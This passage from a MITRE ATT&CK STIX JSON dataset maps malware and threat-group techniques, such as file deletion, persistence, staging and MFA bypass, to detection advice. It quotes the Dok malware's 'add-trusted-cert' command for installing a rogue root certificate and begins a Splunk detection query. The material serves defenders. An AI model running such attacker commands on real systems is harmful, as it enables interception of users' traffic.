(2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware has deleted files in various ways, including \"suicide scripts\" to delete malware binaries from the victim. [Lazarus Group](https://attack.mitre.org/groups/G0032) also uses secure file deletion to delete files from the victim.(Citation: Novetta Blockbuster)(Citation: McAfee GhostSecret)","modified":"2022-07-28T18:47:12.003Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--979bd2a9-bc77-4741-bc79-0badc9e1e98c","type":"relationship","created":"2021-03-19T16:26:04.435Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"wardle evilquest parti","url":"https://objective-see.com/blog/blog_0x59.html","description":"Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021."}],"modified":"2021-03-22T19:11:35.366Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) installs a launch item using an embedded encrypted launch agent property list template. The plist file is installed in the ~/Library/LaunchAgents/ folder and configured with the path to the persistent binary located in the ~/Library/ folder.(Citation: wardle evilquest parti)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--979f2834-66f6-4a30-863e-d63bd1db10a3","created":"2022-03-30T14:26:51.842Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","modified":"2022-04-20T03:22:28.134Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97a083ff-40ef-4e4c-9837-4ab1537a063c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SecureList SynAck Doppelgänging May 2018","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"},{"url":"https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging","description":"Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelgänging technique. Retrieved May 24, 2018.","source_name":"Kaspersky Lab SynAck May 2018"}],"modified":"2021-09-08T19:22:44.416Z","description":"[SynAck](https://attack.mitre.org/software/S0242) enumerates all running services.(Citation: SecureList SynAck Doppelgänging May 2018)(Citation: Kaspersky Lab SynAck May 2018)","relationship_type":"uses","source_ref":"malware--04227b24-7817-4de1-9050-b7b1b57f5866","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--97a62430-6a83-4ead-b8c7-ce47f5d0cac0","created":"2023-08-07T16:06:54.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:54:08.443Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has staged ZIP files in local directories such as, `C:\\PerfLogs\\1\\` and `C:\\User\\1\\` prior to exfiltration.(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97a68907-3642-4f23-aeae-55ad5bbd7b86","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-01-17T19:43:39.459Z","description":"[FruitFly](https://attack.mitre.org/software/S0277) takes screenshots of the user's desktop.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--4a98e44a-bd52-461e-af1e-a4457de87a36","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97aa311a-04b1-473f-a298-1d230c82e881","type":"relationship","created":"2021-09-14T16:04:26.821Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}],"modified":"2021-09-14T18:41:10.494Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) contains junk code to increase its entropy and hide the actual code.(Citation: NCC Group WastedLocker June 2020)","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97aea4a9-1016-40d0-8869-9b4c4d4eec72","type":"relationship","created":"2022-01-18T18:07:56.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike AQUATIC PANDA December 2021","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/","description":"Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}],"modified":"2022-01-18T18:07:56.219Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) has attempted to stop endpoint detection and response (EDR) tools on compromised systems.(Citation: CrowdStrike AQUATIC PANDA December 2021)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--97b0f29c-343d-40fc-a37f-85d65ed26ba6","created":"2024-05-20T20:31:02.051Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:31:02.051Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used `netsh` to create a PortProxy Registry modification on a compromised server running the Paessler Router Traffic Grapher (PRTG).(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97b13d6e-ad8d-42db-90cf-90c7189763cb","type":"relationship","created":"2022-02-17T14:31:53.351Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Shuckworm January 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."}],"modified":"2022-02-17T14:31:53.351Z","description":"[Pteranodon](https://attack.mitre.org/software/S0147) can use a malicious VBS file for execution.(Citation: Symantec Shuckworm January 2022)","relationship_type":"uses","source_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97b55f86-908f-4de2-ba9a-d65005b0f4dc","type":"relationship","created":"2022-03-16T18:54:15.645Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T19:26:38.793Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used servers under their control to validate tracking pixels sent to phishing victims.(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--97b6c034-b96c-4532-8dd7-51fedcdcd31f","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T20:02:23.592Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\n\nFurthermore, monitor network traffic for homographs via the use of internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites). Also monitor and analyze traffic patterns and packet inspection for indicators of cloned websites. For example, if adversaries use HTTrack to clone websites, Mirrored from (victim URL) may be visible in the HTML section of packets. ","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--97beb535-e226-4581-a329-de9fabe7a49d","created":"2022-08-08T20:28:05.869Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CreepySnail](https://attack.mitre.org/software/S1024) can use Base64 to encode its C2 traffic.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-08-08T20:28:05.869Z","relationship_type":"uses","source_ref":"malware--d23de441-f9cf-4802-b1ff-f588a11a896b","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97bf5604-4b99-4851-85ea-83018d90c82c","type":"relationship","created":"2022-02-01T14:23:04.459Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"modified":"2022-02-03T21:50:34.095Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used a compromised router to serve as a proxy between a victim network's corporate and restricted segments.(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--97bf812b-0bc4-4bfa-9a03-872cacffd272","created":"2024-02-14T21:33:31.129Z","revoked":false,"external_references":[{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T21:33:31.129Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) use Nirsoft Network Password Recovery or NetPass tools to steal stored RDP credentials in some malware versions.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97c1a236-cc9d-4433-9fe8-382a8c03196a","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for newly constructed files in user directories.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97c225e6-64ad-42af-8cc4-4fb4deea39fc","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"},{"source_name":"hexed osx.dok analysis 2019","url":"http://www.hexed.in/2019/07/osxdok-analysis.html","description":"fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021."}],"modified":"2021-10-06T02:04:09.845Z","description":"[Dok](https://attack.mitre.org/software/S0281) installs a root certificate to aid in [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) actions using the command add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /tmp/filename.(Citation: objsee mac malware 2017)(Citation: hexed osx.dok analysis 2019)","relationship_type":"uses","source_ref":"malware--f36b2598-515f-4345-84e5-5ccde253edbe","target_ref":"attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--97ca11ce-025d-4e46-93d7-deadd4bcd780","created":"2024-03-28T14:28:29.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON Dec 2017","description":"Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer. (2017, December 14). Attackers Deploy New ICS Attack Framework “TRITON” and Cause Operational Disruption to Critical Infrastructure. Retrieved January 12, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:01:35.184Z","description":"In the [Triton Safety Instrumented System Attack](https://attack.mitre.org/campaigns/C0030), [TEMP.Veles](https://attack.mitre.org/groups/G0088) developed, prior to the attack, malware capabilities that would require access to specific and specialized hardware and software.(Citation: FireEye TRITON Dec 2017)","relationship_type":"uses","source_ref":"campaign--45a98f02-852f-49b2-94c0-c63207bebbbf","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--97ce46f9-4277-4700-99bb-b8bad6dfb393","created":"2023-03-26T16:14:43.503Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T16:14:43.503Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) bypassed MFA set on OWA accounts by generating a cookie value from a previously stolen secret key.(Citation: Volexity SolarWinds)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97ceb4a8-dd9c-402b-8a80-0d0f2c4f5d5a","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for contextual data about an account, which may include a username, user ID, environmental data that may mask the presence of user accounts they create or modify. On macOS, identify users with an userID under 500 and the Hide500Users key value in the /Library/Preferences/com.apple.loginwindow plist file set to TRUE.(Citation: Cybereason OSX Pirrit)","source_ref":"x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0","target_ref":"attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason OSX Pirrit","description":"Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.","url":"https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97cfa5ec-e6b6-40cc-b73c-283f4a5d8ded","type":"relationship","created":"2020-12-07T19:44:08.456Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T19:44:08.456Z","description":"[Crutch](https://attack.mitre.org/software/S0538) can monitor removable drives and exfiltrate files matching a given extension list.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97d152a1-4cbd-4088-b23e-99354a730e47","type":"relationship","created":"2020-10-19T23:51:06.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-19T23:51:06.043Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5","target_ref":"attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97d2fa02-bccc-43c3-8c1d-e3667b710e5e","type":"relationship","created":"2019-01-29T21:40:37.743Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Cobian Aug 2017","url":"https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat","description":"Yadav, A., et al. (2017, August 31). Cobian RAT – A backdoored RAT. Retrieved November 13, 2018."}],"modified":"2019-04-23T21:09:54.680Z","description":"[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to perform voice recording on the victim’s machine.(Citation: Zscaler Cobian Aug 2017)","relationship_type":"uses","source_ref":"malware--aa1462a1-d065-416c-b354-bedd04998c7f","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97d77da2-9e26-4168-b14c-9d26093aa5be","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"modified":"2020-03-18T00:52:18.853Z","description":"Before writing to disk, [Kwampirs](https://attack.mitre.org/software/S0236) inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--97da1ec3-e4cd-451e-83be-d53adabb78ed","created":"2022-03-07T19:20:38.012Z","x_mitre_version":"1.0","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) can use a custom binary scheme to encode messages with specific commands and parameters to be executed.(Citation: NCSC Cyclops Blink February 2022)","modified":"2022-04-16T23:02:08.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97e042c8-f1fe-4980-bc08-86cb7c6e1fc9","type":"relationship","created":"2020-06-08T18:06:36.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-08T18:06:36.317Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to identify the MAC address on an infected host.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--97e31242-661f-4aae-866d-26d32fbb88c4","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Clymb3r Function Hook Passwords Sept 2013","description":"Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.","url":"https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T16:12:42.764Z","description":"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nAnalytic 1 - Unauthorized DLL loads in critical systems.\n\nindex=windows_logs sourcetype=\"XmlWinEventLog:Microsoft-Windows-Sysmon/Operational\"\n| search EventCode=7 [search index=windows_logs 